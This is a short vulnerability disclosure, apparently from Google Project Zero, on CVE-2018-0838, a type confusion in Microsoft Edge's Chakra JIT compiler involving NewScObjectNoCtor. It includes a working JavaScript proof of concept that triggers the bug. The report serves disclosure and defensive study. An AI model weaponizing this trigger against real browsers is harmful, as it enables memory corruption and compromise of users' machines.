Microsoft Edge: Chakra: JIT: Array type confusion via NewScObjectNoCtor 

CVE-2018-0838


This is similar to the previous issues 1457, <a href="/p/project-zero/issues/detail?id=1459" title="Microsoft Edge: Chakra: JIT: Array type confusion via Array.prototype.reverse" class="closed_ref" rel="nofollow"> 1459 </a>(MSRC 42551, MSRC 42552).

If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions which are not checked by CheckJsArrayKills.

PoC:
function inlinee() {

}

function opt(arr) {
    arr[0] = 1.1;
    new inlinee();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        inlinee.prototype = {};
        opt(arr);
    }

    inlinee.prototype = arr;
    opt(arr);

    print(arr);
}

main();
